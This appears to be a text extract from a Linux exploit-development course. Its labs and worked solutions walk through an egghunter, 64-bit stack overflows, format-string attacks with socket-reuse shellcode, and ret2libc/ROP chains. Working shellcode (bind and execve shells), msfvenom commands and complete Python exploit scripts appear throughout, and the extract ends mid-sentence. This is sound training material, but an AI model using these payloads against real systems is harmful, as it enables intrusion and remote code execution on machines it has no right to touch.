#include <stdio.h>
#include <string.h>

unsigned char hunter[] =


"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\
x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x7
4\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
unsigned char bind[] =
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xdb\xf7\xe3\x53\
x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x6
8\x02\x00\x04\xd2\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\
xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x6
6\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\
x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8
9\xe1\xb0\x0b\xcd\x80";

int main(void)
{
printf("Egg hunter length: %d\n", strlen(hunter));
printf("Shellcode length: %d\n", strlen(bind));

void (*s)() = (void *)hunter;


s();

return 0;
}

The above can be compiled, as follows.

gcc shellcode_tester.c -fno-stack-protector -z


execstack -o shellcode_tester

Let's test this, as follows.

From within the SSH terminal, execute the compiled


shellcode_tester binary.

If everything went as expected, the egghunter


shellcode should have identified the egg and executed
the MSF-created bind shellcode.

From inside our host (not the SSH terminal) let's see
if we can connect to the (supposedly) bound port 1234,
using netcat, as follows.

nc 172.16.172.151 1234

It looks like, the egghunter shellcode worked as


expected.
Linux x64 Basic Stack Overflow
LAB 8

Scenario
Now that you are now familiar with basic stack
overflow exploitation, challenge yourself with
exploiting a stack overflow on a 64-bit operating
system (Ubuntu 16). The system is purposely
de-hardened for this scenario. If you don't get
confused by 64-bit addresses, you will have no issue
completing this lab!

You can connect to the lab machine via SSH. The target
IP is 172.16.172.122

In case you need root access for debugging, the user


below is able to run sudo.

The SSH credentials are:

● Username: xdev

● Password: xdev

Goals
● Discover a buffer overflow vulnerability in a
binary

● Examine the binary and find the proper offset to


precisely overwrite the RIP
● Spawn an interactive bash shell

What you will learn


● Exploiting 64-bit buffer overflows

● Debugging 64-bit applications

Recommended tools
● Gdb / gdb-peda

● Text editor

● Kali linux

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.122

● Connection Type: SSH

ssh xdev@172.16.172.122
password: xdev
Tasks
Task 1: Connect to the provided machine and
examine the target binary
The target binary is named basic. Examine the
executable. Identify how to feed it with input and if
the binary employs any exploit countermeasures. You
can use the checksec utility which is installed on the
machine. Also, remember to check the ASLR settings.

Task 2: Identify the buffer overflow


vulnerability and find the offset to RIP
Once the binary's input entry is identified, try to
supply enough data in order to crash the target
binary. Then, find the proper payload length to
achieve a precise RIP overwrite. Gdb-peda's pattern
create and pattern offset commands can help you with
that.

Task 3: Complete the exploit with shellcode


and spawn an interactive bash shell
Implement shellcode into your exploit and spawn a root
shell. Shellcode can be generated using msfvenom.

Note: The created exploit may not work outside the


debugger. Leverage the created core file to debug and
investigate the area around the ESP register. Maybe
the location where you landed needs to be re-adjusted
inside the exploit.

If you don't see the core file, issue the following


command (in the same terminal).
ulimit -c unlimited

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Connect to the provided machine and


examine the target binary
The binary is available in the user's Desktop
directory. Using checksec we identify that almost no
exploit countermeasures are active.

Running the binary shows that it simply accepts input


from the user and then prints it back.

A kind of debug output is enabled, helping us identify


that probably the program's main logic is placed
within the vulnerable() function. Through this entry
we can try to overflow the saved return address.
Task 2: Identify the buffer overflow
vulnerability and find the offset to RIP
Based on your previous experience with such binaries,
the first action would be to input an overly long name
to the program's prompt. You can use gdb-peda's
pattern create for creating such an input. Then, feed
this input to the target program and check if a crash
occurs or not.

Indeed, an input of 500 characters made the program


crash. However, there is no pattern-like RIP to
inspect.

If we take a look at the registers, the RSP points to


the user buffer.

In case of an overflowed return address (which is


probably the case) we can use the RBP to calculate the
offset to the RIP as well. We just need to remember
that the RBP is overwritten one stack position before.
On x86 a single stack position was 4 bytes, now it is
8-bytes wide. We can thus use the RBP value to
calculate the offset and then, 8 bytes need to be
added to it. In this lab's context, we can use RBP to
calculate the offset, as follows.

The above means that the offset to RIP overwrite is


160 + 8 bytes. Let's check if our calculations were
correct, as follows.

python -c 'print "A"*160 + "B"*8 + "C"*8' > eip.txt

Using gdb, the eip.txt can be fed to the target


binary.

The overwrite does not work as expected. RBP is


overwritten as expected though.

The program wants to return to the RSP ("CCCCCCCC").

But the RIP is not 0x4343434343434343.


Looking at the memory map it can be observed, that
most of the addresses are 6-bytes and not 8. Simply,
there is no such memory mapped as 0x4343434343434343

There is a vsyscall memory area which is shared with


the kernel and is used by the operating system. This
is the only fully 8-byte wide address. Apart from it,
no such addresses are mapped by the application
memory.

Let's reduce the number of "C"s to 6 and relaunch the


binary within gdb.

python -c 'print "A"*160 + "B"*8 + "C"*6' > rip.txt

Now there's proof that the RIP can be controlled. Of


course, as we need to end the buffer after the RSP
this might be an issue as we cannot deliver more data
over RIP, but in this case there is no NX and no ASLR,
so returning to a stack's hardcoded address is an
option.

Task 3: Complete the exploit with shellcode


and spawn an interactive bash shell
If we run the binary again while feeding the 8-byte
RIP file (the one with 8 C's), we notice that the
execution stops at "ret".

The above screenshot shows that right before the


return the RSP is 0x7fffffffe498

Let's create an exploit skeleton that will overwrite


the RIP with that value causing a return

to the stack. Moreover, let's change the "A" part of


the buffer to NOPs and INT3s. This way,

the target will start executing breakpoints.

from struct import pack

buf = "\xcc"*8 #Breakpoints - shellcode placeholder

payload = "\x90"*40 #NOPs in the beginning


payload += buf
payload += "A"*(128-len(buf)) #Initially, we needed
168 character until the RIP overwrite. Since there are
40 NOPs, we already decreased 168 by 40 and further by
the shellcode placeholder's length
payload += pack("<Q", 0x7fffffffe3f0) #For 64-bit
values we use "Q" to the struct pack

print payload

Let's store the exploit payload in a file.

After providing the created file to the binary inside


gdb, a breakpoint is reached.

Let's generate shellcode and replace the breakpoints


with it. To avoid bad characters issues, we
proactively ban the newline character and null byte
(they are common bad characters). However, you are
free to experiment if they really break the payload
buffer or not.

msfvenom -p linux/x64/exec cmd=/bin/sh -f python -b


"\x00\x0a"
The shellcode can be pasted to the exploit, as
follows.

Let's store the exploit payload in a new file.

After providing the new file to the binary inside gdb,


bash is spawned.

As you can imagine, the stack outside the debugger is


different and for this reason the payload doesn't work
expected outside gdb.
The core file can be used to identify the payload's
position/portion at the time of the crash.

We can try to view the stack by examining some offsets


from it, as follows.

0x40 bytes away is still not enough, let's examine a


bigger offset from the RSP until we see NOPs on the
stack.
The NOPs, which are in the beginning of the delivered
buffer, start at address 0x7fffffffe410. For safety,
we can overwrite the RIP with 0x7fffffffe410+8. Let's
introduce that change to the exploit.

And finally, using the double cat trick, the exploit


results in spawning a shell.

The full exploit code is available below.

from struct import pack

buf = ""
buf +=
"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
buf +=
"\xef\xff\xff\xff\x48\xbb\xfc\x4e\xe5\x0e\x7e\x6b\xa5"
buf +=
"\x19\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf +=
"\x96\x75\xbd\x97\x36\xd0\x8a\x7b\x95\x20\xca\x7d\x16"
buf +=
"\x6b\xf6\x51\x75\xa9\x8d\x23\x1d\x6b\xa5\x51\x75\xa8"
buf +=
"\xb7\xe6\x76\x6b\xa5\x19\xd3\x2c\x8c\x60\x51\x18\xcd"
buf += "\x19\xaa\x19\xad\x87\x98\x64\xa0\x19"

payload = "\x90"*40
payload += buf
payload += "A"*(128-len(buf))
payload += pack("<Q", 0x7fffffffe418)

print payload

Strict Firewall Bypass (Format


String Exploitation + Socket
Reuse Shellcode) LAB 9

Scenario
There is a vulnerable binary from pCTF 2011 named
hashcalc. The binary was placed on a Debian6 virtual
machine by your red team manager. Your task is to
create an exploit that attacks the hashcalc server
remotely and allows for command execution.

You will be given access to that Debian machine. You


can use it for debugging purposes, but in the end you
should produce an exploit that can attack the hashcalc
service from a remote machine. Note, that the Debian
machine is protected by a firewall.

● no outbound traffic is allowed

● inbound traffic is allowed for tcp ports 22, 30001


and 9999

Hints:

1. If you don't like the "old" gdb on the target


Debian6 machine, you can use gdb peda while debugging
remotely using gdbserver

2. The exploit should be format string-based

Goals
● Create a remote exploit that takes advantage of
the vulnerable hashcalc server. You should achieve
remote command execution (root-level access is not
required).

● Use socket reuse shellcode to bypass the strict


firewall. You will find the shellcode in the Tasks
section.

What you will learn


● Exploiting advanced format string vulnerabilities
● Reusing a socket to bypass firewall restrictions

Recommended tools
● Gdb

● Text editor

● Python or other scripting language

● Linus binutils

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24
● Vulnerable machine: 172.16.172.111
● Connection Type: SSH

Username: xdev
Password: xdev

Tasks
Task 1: Recognize the exploitable conditions
Login to the remote Debian machine and inspect the
hashcalc binary. What does it do? Where does it store
its output? How do you communicate with it? Can you
spot the vulnerability? Are there any exploit
countermeasures in place?

Task 2: Confirm the existence of a format


string vulnerability
Further analyze the target binary and look for a
convenient location to abuse the format string
vulnerability you identified in Task 1. The strings
tool may give you a clue.

Task 3: Overwrite a function of choice using


the format string vulnerability
Choose a function that is called directly after the
vulnerable printf-like call.

Hint: You might want to use the set follow-fork-mode


child gdb command together with gdb -p `pidof
hashcalc` in order to effectively debug the binary.
Also, you might like gdbserver for remote debugging
(so you can use your gdb plugin of choice without
installing it on the remote Debian machine)

Having chosen the target for the overwrite, perform


the overwrite and write an arbitrary value to the
address of the chosen function.

Task 4: Use the format string vulnerability


to write shellcode into the memory
Perform a multiple write to the memory, which will
result in storing the shellcode at a known address.
Note, that you need to choose a non-randomized
location as ASLR is present on the system.
You can use socket reuse shellcode followed by execve
shellcode. For convenience, shellcodes are provided
below:

Socket reuse (dup2shellcode) + execve shellcode:

SC =
"\x31\xc9\x31\xdb\xb3\x05\x6a\x3f\x58\xcd\x80\x41\x80\
xf9\x03\x75\xf5"
SC +=
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\
x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Recognize the exploitable conditions


After logging through SSH, we see the target binary
present in the user's current directory.

The binary cannot be run multiple times (notice the


bind function error below). This might mean, that the
binary started a server. Let's confirm that using
netstat, as follows.
In order to view the exploit countermeasures applied
to that binary, you might want to copy it locally and
then examine with checksec.

Also, it is possible to examine whether ASLR is


enabled on the remote machine, as follows.

We will be dealing with NX, Stack cookie and ASLR.


Let's try to interact with the binary by connecting
through netcat to the port shown in netstat's output.

Task 2: Confirm the existence of a format


string vulnerability
This time, no vulnerability can be detected by
interacting with the stdin of the server. However,
using strings on the binary lists a path that seems
like a log file of the server.

A view into the log file allows to confirm that the


data sent to the server is stored there.

We are able to clear the log by overwriting the file


content and observe what kind of output is stored in
there (following the covered format string discovery
method), as follows.

The AAAA's are reflected back as the 5th "argument".


Note that a backslash is used in the direct parameter
access method in order to escape the dollar sign.

It is now confirmed that we can interact with our own


supplied data, which is the foundation for a write
(%n) primitive.
Why focus on/suspect a format string vulnerability, you
may ask.

Format string vulnerabilities greatly facilitate ASLR


bypasses (via leaks or arbitrary writes). Seeing ASLR
being enabled, we hoped that such a vulnerability
exists and looked for one.

Task 3: Overwrite a function of choice using


the format string vulnerability
Let's prove the arbitrary write is exploitable by
overwriting a function. The simplest case would be to
overwrite a function that is called directly by the
vulnerable printf-like (just an assumption at this
point) function. Let's start by examining which
vulnerable function is responsible for the format
string vulnerability and then, we will try to spot any
function call that happens right after it.

We want to target a function right after the


vulnerable call because as we perform an overwrite, we
would like to make use of it as soon as possible if we
target a function that is called at the end, or after
a conditional instruction, the program might change
its state in the meantime making exploitation will be
more difficult.

By checking the binary with objdump we can see that


the hashcalc binary utilizes several printf-like
functions. However, if you consult with the
documentation only one of them can write to a file and
that function is fprintf. Let's place a breakpoint on
this function.
In order to check which one of the above is the root
cause of the vulnerability, let's attach gdb to the
process (as we cannot spawn a new one, since it will
not be able to start the server), as follows.

Then, we can set the breakpoint and allow execution.

It doesn't matter if we interact with the server from


the remote Debian or our own attacker machine, as it
is remote anyway. To be on the same page, any
interaction is done from a Kali attacker machine.

If you now try to connect to the binary, you will


notice that no breakpoint is hit. This is because the
interaction happens against a child process that is
spawned using the fork() function (for each
connection).

This can be confirmed by viewing the disassembly of


the servier with objdump, as follows.
fork() is called right after accepting the connection.
Luckily, gdb has the following capability.

set follow-fork-mode child

The above forces it to trace the child process. Upon


setting that option, it is possible to debug the
server.

As we now connect to the server, the breakpoint is


hit. We can step into several instructions, as
follows.

Further inspection reveals that vfprintf is called.


When at the first instruction of vsprintf, as we step
into twice more and view the stack we can see that the
user buffer is placed into the printf call.

As the first address on the stack is the return


address, let's place a breakpoint on it to return to
the caller and allow execution. This way we will try
to spot any function that is called next to the
vulnerable call.

The next function called has no symbol, but we can


navigate to it with stepi.
Using that technique, we see that it is unclear what
the function at 0x804910d does.

However, there is a nearby strlen() call. Strlen has a


plt entry, which can be disassembled so we can know
its GOT address.

Let's choose strlen as our target and overwrite the


strlen GOT's entry (0x804a41c) with arbitrary values.
We choose a value of 0x41424344.

An exploit skeleton has to be created. We will utilize


the short writes combined with direct parameter access
in order to write 0x41424344 to the GOT entry of
strlen.
As the process of manually calculating the proper
value of a short write to achieve an arbitrary result
is explained thoroughly in the Format String
Vulnerability slides, find below a python script for
that calculation.

from struct import pack

offset = 5 #the stack offset


got_strlen = 0x0804A41C
targetvalue = 0x41424344
output = ""

output += pack("<I", got_strlen)


output += pack("<I", got_strlen + 2)

low = targetvalue & 0xFFFF


high = targetvalue >> 16
output += "%"+str((low-len(output)) & 0xFFFF) +
"u%"+str(offset)+"$hn"
output += "%"+str((high-low) & 0xFFFF) +
"u%"+str(offset+1)+"$hn"

print output

Now, in order to test the exploit skeleton, we need


to:

● Detach the debugger (simply execute q and then


input yes)

● Re-attach it

● Execute set follow-fork-mode child


● Launch the exploit

The process is shown on the below screenshot.

Then, the exploit skeleton is run.

We will observe inside gdb that the forked process


dies due to a segfault. EIP is the value we wrote to
strlen()'s GOT entry.

Task 4: Use the format string vulnerability


to write shellcode into the memory
As we have ASLR and NX enabled, we cannot place
shellcode on the stack and execute it. However, format
string allows us to perform an arbitrary write. We can
still perform a series of arbitrary writes to re-write
whole shellcode, leveraging the format string
vulnerability. We remind you that the shellcode we
will use is the following.

# dup2(5,0) dup2(5,1) dup2(5,2) - 17 bytes


SC =
"\x31\xc9\x31\xdb\xb3\x05\x6a\x3f\x58\xcd\x80\x41\x80\
xf9\x03\x75\xf5"
# /bin/sh - 23 bytes
SC +=
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\
x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

A socket reuse can be achieved by using the dup2()


system call that will duplicate the input/output on
the server and reuse them on our socket. The socket is
file descriptor id = 5, which can be viewed for the
child process entry when knowing its process id.

We remind you that file descriptors are explained in


detail inside the Linux Shellcoding module.

As you see above, the whole shellcode is 40 bytes.


This means, that we need to perform 20 pairs of short
writes in order to achieve that. This can be done
manually, but we can also create a loop (see the two
for loops on the exploit code at the end).

As we already know that overwriting the strlen's GOT


entry leads to EIP control, we can do the overwrite in
the following way.
● strlen will hold an address of shellcode

● shellcode can be written to the Global Offset


Table right after the strlen entry, so strlen+4

Let's implement that logic to the exploit. The below


code can be used as the final exploit.

from struct import pack,unpack

SC =
"\x31\xc9\x31\xdb\xb3\x05\x6a\x3f\x58\xcd\x80\x41\x80\
xf9\x03\x75\xf5"
SC +=
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\
x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

offset = 5 #offset from format string on the stack


got_strlen = 0x0804A41C
sc_addr = got_strlen + 4
output = "" #for convenience, this will be the output
buffer

#First we prepare values to be written


#First, the target address, so the GOT entry of strlen
output += pack("<I", got_strlen)
output += pack("<I", got_strlen + 2)

#Then, iterating over shellcode address of got + 4, +2


, +2, +2... as we prepare a series of writes for each
shellcode two bytes (short write is 2 bytes)

for i in range(0,len(SC),2):
output += pack("<I", sc_addr+i)
#We prepare the shellcode address to be written
low = sc_addr&0xFFFF
high = sc_addr>>16
output += "%"+str((low-len(output))&0xFFFF) +
"u%"+str(offset)+"$hn"
output += "%"+str((high-low)&0xFFFF) +
"u%"+str(offset+1)+"$hn"

#Now, iterating over each two shellcode bytes, we


calculate the format string value to be written in
order to reflect the shellcode bytes in the remote
location
last_written = high
for i in range(len(SC)/2):
val = unpack("<H", SC[2*i:][:2])[0]
output +=
"%"+str((val-last_written)&0xFFFF)+"u%"+str(offset+2+i
)+"$hn"
last_written = val

print output

The exploit should be launched with stdin kept open,


as per the below screenshot.

Linux x64 NX Bypass (ret2libc +


ROP) LAB 11

Scenario
In this lab you will continue to learn x64 Linux
exploitation. Both the Operating System (Ubuntu 16)
and the target binary are 64-bit. The stack is not
executable (NX is enabled). You will have to find a
way around it.

You can connect to the lab machine via SSH. The target
IP is 172.16.172.153

In case you need root-level access for debugging, the


user below is able to run sudo.

The SSH credentials are the following.

● Username: xdev

● Password: xdev

Goals
● Discover vulnerabilities in the binary

● Utilize ret2libc and ROP

● Spawn an interactive bash shell

What you will learn


● Exploiting 64-bit buffer overflows

● Utilizing ROP during buffer overflows


● Chaining ret2libc with ROP

Recommended tools
● Gdb / gdb-peda

● ROPgadget

● Text editor

● Kali linux

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.153

Connection Type: SSH


ssh xdev@172.16.172.153

● password: xdev

Tasks
Task 1: Connect to the compromised machine
and examine the target binary
The target binary is named bypass_nx and is available
in the xdev user's Desktop directory. As your first
task, try to identify vulnerabilities within the
binary.

Remember that:

1.The stack is not executable (NX is enabled)

2.The binary features no additional protections

3.ASLR must be disabled. To do so, execute:

sudo bash -c "echo 0 >


/proc/sys/kernel/randomize_va_space"

Task 2: Further examine the binary and


identify a strategy to bypass NX
As you have figured out in Task 1, we can overwrite
the return address. As the stack is not executable, we
can try returning to interesting functions. This time,
we will not follow the traditional ret2libc approach.
Specifically, we will enhance the traditional ret2libc
approach with ROP.

Try to find a ROP gadget within the binary itself,


where we will return first in order for the argument's
address to be popped into an appropriate register.
Then, the function will be called.

Hints:

1.Leverage the system() function (ASLR is disabled,


so its address is predictable)
2.The rdi register can accommodate the system's
argument

3.Try searching for occurrences of "/bin/sh" within


the binary

Task 3: Create a POC exploit and launch it


It is time to combine all the above into a working
exploit.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Connect to the compromised machine


and examine the target binary
Let's start by interacting with the binary. We see
that it accepts user input once and then exits.

Let's see how this program copes with overly large


inputs. Gdb-peda's pattern create will be used to
create an overly long input.
Let's execute ulimit -c unlimited first and then
provide the binary with the above input.

It looks like we managed to crash the target binary.


Let's utilize the dumped core file to identify if we
were able to overwrite the return address.

Like in the Linux x64 Basic Stack Overflow lab, we


receive no conclusive information about the rip
register. Let's see the state of the other registers.
Maybe we will have to utilize the rbp as we did on
that lab.
Indeed, rbp seems to contain a portion of our sent
buffer/payload. Let's use it to calculate the offset.

The offset to overwrite rip is 104 (96 + 8).

Task 2: Further examine the binary and


identify a strategy to bypass NX
If you recall, ret2libc attacks in 32-bit binaries
require setting up a fake stack frame. Based on that
fake stack frame a function in libc is called and any
parameters are passes to it. Such a function could be
system() with a parameter of "bin/sh"

In 64-bit binaries though, function parameters are


passed in registers. RDI, RSI, RDX, RCX, R8 and R9
hold the first six parameters. Any further parameter
is passed on the stack. Before returning to an
interesting function, 64-bit binaries require that the
respective function parameters are loaded in the
aforementioned registers. We can do that through ROP.
More on that in just a bit.

Let's focus for now on interesting functions. Attach


gdb to bypass_nx, execute run but don't provide any
input, just press ctrl+c.

Now, let's see where system() is located, as follows.

Let's note its address down. Be reminded that ASLR is


not enabled.

In order for system to be exploitable, we need to pass


it an "/bin/sh" argument.

Let's check for "/bin/sh" occurrences within the


binary. Quit gdb and attach to bypass_nx again. Then,
proceed as follows.
Luckily, there are "/bin/sh" occurrences within the
binary (this ensures predictability).

Let's now write the first "/bin/sh"'s address down. We


will pass "/bin/sh" as an argument to system to obtain
a shell.

Finally, it's time to search for a ROP gadget within


the binary, where we will return first in order for
the argument's address to be popped into the rdi
register Then, the function will be called.

This can done with the help of ROPgadget done, as


follows.
(Execute cd ~ to find the ROPgadget tool's directory)

Let's also note this address down.

Task 3: Create a POC exploit and launch it


All the above, can be incorporated into a working
exploit, as follows.

#!/usr/bin/env python

from struct import *

buf = ""
buf += "A"*104 # junk
buf += pack("<Q", 0x0000000000400693) # pop rdi; ret;
buf += pack("<Q", 0x4006e8) # pointer to "/bin/sh"
buf += pack("<Q", 0x7ffff7a52390) # address of
system()

f = open("payload.txt", "w")
f.write(buf)

To test the exploit above, transfer it to the remote


machine and then execute it using the double cat
trick, as follows.
Linux NX & ASLR Bypass (Format
String Exploitation + ROP) LAB 12

Scenario
There is a vulnerable binary from pCTF 2011 named
hashcalc. The binary was placed on a Debian6 virtual
machine by your red team manager. Your task is to
create an exploit that attacks the hashcalc server
remotely and allows for command execution. It is not
necessary to obtain an interactive shell.

You will be given access to that Debian machine. You


can use it for debugging purposes, but in the end you
should produce an exploit that can attack the hashcalc
service from a remote machine. There is no firewall on
the Debian machine.

This is where similarities with Lab 9 end.

Suppose that this time, NX is in place alongside ASLR.

This means, that your exploit should leverage both the


format string vulnerability and ROP gadgets in order to
execute a command on the remote machine.

Goals
● Create a remote exploit that takes advantage of
the vulnerable hashcalc server. You should achieve
remote command execution, (root-level access is
not required). Spawning an interactive shell is
also not required. Feel free to do so though, if
you feel confident.

● The tasks section will guide you through the


suggested exploitation approach. However, feel
free to find your own gadgets / approach to
exploit the binary.

What you will learn


● Exploiting advanced format string vulnerabilities

● Chaining format string with Return Oriented


Programming

Recommended tools
● Gdb

● Text editor

● Python or other scripting language

● Linus binutils

Network Configuration & Credentials


● Penetration tester's Subnet: 172.16.172.0/24
● Vulnerable machine: 172.16.172.112
● Connection Type: SSH
○ Username: xdev
○ Password: xdev

Tasks
Task 1: Recognize the exploitable conditions
Login to the remote Debian machine and inspect the
hashcalc binary. What does it do? Where does it store
its output? How do you communicate with it? Can you
spot the vulnerability? Are there any exploit
countermeasures in place?

Task 2: Confirm the existence of a format


string vulnerability
Further analyze the target binary and look for a
convenient location to abuse the format string
vulnerability you identified in Task 1. The strings
tool may give you a clue.

Task 3: Use the format string vulnerability


to leak the remote machine's Global Offset
Table
Leverage the format string vulnerability to perform an
information leak (make the target binary send you its
Global Offset Table). You might want to utilize a ROP
gadget to pivot the stack as well as the send()
function. Hint: Use the below gadget to change the
execution flow so that it starts to execute the ROP
chain from the user-supplied buffer.

(gdb) x/5i 0x8049106


0x8049106: add esp,0x54
0x8049109: pop ebx
0x804910a: pop esi
0x804910b: pop ebp
0x804910c: ret

Task 4: Analyze the leaked GOT. Find


addresses of useful functions
Using the leaked GOT, find the libc address of dup2()
and execve(). You can make use of relative addressing.

Task 5: Construct a fake GOT and send it back


to the server
Find areas of the GOT that will not be used after the
overwritten strlen is executed.

Smuggle the string "/bin/sh\x00" within the new GOT,


as well as known addresses of libc.

This way, you can achieve command execution instantly


(since knowing the libc address can allow you to
launch a ret2libc-style attack) or construct the GOT
prototype and follow the approach of the next task
(task 5).

In order to return to recv within the previously


started ROP chain, you can utilize the following
gadget.

(gdb) x/4i 0x8048c1a


0x8048c1a: add esp,0xc
0x8048c1d: pop ebx
0x8048c1e: pop ebp
0x8048c1f: ret
Task 6: Finish the ROP chain and execute a
remote command
As the GOT is hijacked and now contains known
functions and the /bin/sh string, we can add two last
chains to the payload.

A dup2 call (three times, for stdin, stdout and


stderr) and then execve. You can use following gadget
to return to the rest of payload.

(gdb) x/3i 0x8048e31


0x8048e31: pop ebx
0x8048e32: pop ebp
0x8048e33: ret

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Recognize the exploitable conditions


After logging through SSH, we see the target binary
present in the user's current directory.

The binary cannot be run multiple times (notice the


bind function error below). This might mean, that the
binary started a server. Let's confirm that using
netstat, as follows.
In order to view the exploit countermeasures applied
to that binary, you might want to copy it locally and
then examine with checksec.

Also, it is possible to examine whether ASLR is


enabled on the remote machine, as follows.

We will be dealing with NX, Stack cookie and ASLR.


Let's try to interact with the binary by connecting
through netcat to the port shown in netstat's output.

Task 2: Confirm the existence of a format


string vulnerability
This time, no vulnerability can be detected by
interacting with the stdin of the server. However,
using strings on the binary lists a path that seems
like a log file of the server.

A view into the log file allows to confirm that the


data sent to the server is stored there.

We are able to clear the log by overwriting the file


content and observe what kind of output is stored in
there (following the covered format string discovery
method), as follows.

The AAAA's are reflected back as the 5th "argument".


Note that a backslash is used in the direct parameter
access method in order to escape the dollar sign.

It is now confirmed that we can interact with our own


supplied data, which is the foundation for a write
(%n) primitive.
Why focus on/suspect a format string vulnerability, you
may ask.

Format string vulnerabilities greatly facilitate ASLR


bypasses (via leaks or arbitrary writes). Seeing ASLR
being enabled, we hoped that such a vulnerability
exists and looked for one.

Task 3: Use the format string vulnerability


to leak the remote machine's Global Offset
Table
Choose a function that is called directly after the
vulnerable printf-like call and overwrite it
leveraging the format string vulnerability.

Hint: You might want to use the set follow-fork-mode


child gdb command together with gdb -p `pidof
hashcalc` in order to effectively debug the binary.
Also, you might like gdbserver for remote debugging
(so you can use your gdb plugin of choice without
installing it on the remote Debian machine)

Having chosen the target for the overwrite, perform


the overwrite.

Due to NX being in place (supposedly), we will use a


ROP gadget that will transfer the execution flow back
to the stack. The simplest case would be to overwrite
a function that is called directly by the vulnerable
printf-like (just an assumption at this point)
function with an address that will start to execute a
ROP-chain supplied inside the user buffer. Let's start
by examining which vulnerable function is responsible
for the format string vulnerability and then, we will
try to spot any function call that happens right after
it.

We want to target a function right after the


vulnerable call because as we perform an overwrite, we
would like to make use of it as soon as possible - if
we target a function that is called at the end, or
after a conditional instruction, the program might
change its state in the meantime making the
exploitation will be more difficult.

By checking the binary with objdump we can see that


the hashcalc binary utilizes several printf-like
functions. However, if you consult with the
documentation only one of them can write to a file and
that function is fprintf. Let's place a breakpoint on
this function.

In order to check which one of the above is the root


cause of the vulnerability, let's attach gdb to the
process (as we cannot spawn a new one, since it will
not be able to start the server), as follows.

Then, we can set the breakpoint and allow execution.


It doesn't matter if we interact with the server from
the Debian or our own attacker machine, as it is
remote anyway. To be on the same page, any interaction
is done from a Kali attacker machine.

If you now try to connect to the binary, you will


notice that no breakpoint is hit. This is because the
interaction happens against a child process that is
spawned using the fork() function (for each
connection).

This can be confirmed by viewing the disassembly of


the server with objdump, as follows.

fork() is called right after accepting the connection.


Luckily, gdb has the following capability.

set follow-fork-mode child

The above forces it to trace the child process. Upon


setting that option, it is possible to debug the
server.
As we now connect to the server, the breakpoint is
hit. We can step into several instructions, as
follows.

Further inspection reveals that vfprintf is called.

When at the first instruction of vsprintf, as we step


into twice more and view the stack we can see that the
user buffer is placed into the printf call.

As the first address on the stack is the return


address, let's place a breakpoint on it to return to
the caller and allow execution. This way we will try
to spot any function that is called next to the
vulnerable call.
The next function called has no symbol, but we can
navigate to it with stepi.

Using that technique, we see that it is unclear what


the function at 0x804910d does.

However, there is a nearby strlen() call. strlen has a


plt entry, which can be disassembled so we can know
its GOT address.
Let's choose strlen as our target and overwrite the
strlen GOT's entry with the address of the ROP gadget.

An exploit skeleton has to be created. We will utilize


the short writes combined with direct parameter access
in order to write the ROP gadget address to the GOT
entry of strlen.

As the process of manually calculating the proper


value of a short write to achieve an arbitrary result
is explained thoroughly in the Format String
Vulnerability slides, find below a python script for
that calculation.

We have already posted a hint why that gadget should


be used - simply, the user supplied buffer is at
certain distance from the ESP. If we increase the ESP,
we will be able to have our buffer at the top of the
stack. And if we can chain gadgets (pieces of code
ending with "ret" instructions") in the user buffer
and start executing that buffer, we can continue the
chain as long as we constantly return to the stack.

Let's send the following exploit code:

import socket
import time
from struct import pack, unpack

target_ip = "172.16.172.112"
target_port = 30001

# connect to the target

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print s.recv(8192)
got_strlen_addr = 0x0804a41c

# 0x8049106: add esp 0x54 ; pop ebx ; pop esi ; pop


ebp ; ret;
buf_fmt = pack("<I", got_strlen_addr) + pack("<I",
got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" +
"%"+str(0x9106-0x804)+"x%5$hn"
buf = buf_fmt + "A"*(0x28-len(buf_fmt)) # padding for
the stack
buf += "CCCC" # we want to make EIP 0x43434343 for now

s.send(buf)
s.close()

Now, in order to test the exploit skeleton, we need


to:

● Detach the debugger (simply execute q and then


input yes)

● Re-attach it

● Execute "set follow-fork-mode child"

● Launch the exploit

The process is shown on the below screenshot.


Let's now place a break point at the gadget and then
run the exploit skeleton.

The breakpoint is hit.

By disassembling 5 instructions at eip, we confirm


that the gadget is about to be executed. Let's execute
the first instruction of the gadget by pressing stepi,
as follows.
Now it is clear that three series of pops will remove
the three first instructions from the stack and end up
in 0x43434343.

Of course, any other gadget could have been used but


it would have required different padding of the user
buffer. That being said, the user-supplied buffer is
near the top of the stack when calling strlen (which
is overwritten with an arbitrary address). This is a
solid attack path, since by overwriting strlen with a
ROP gadget that will decrease the stack and redirect
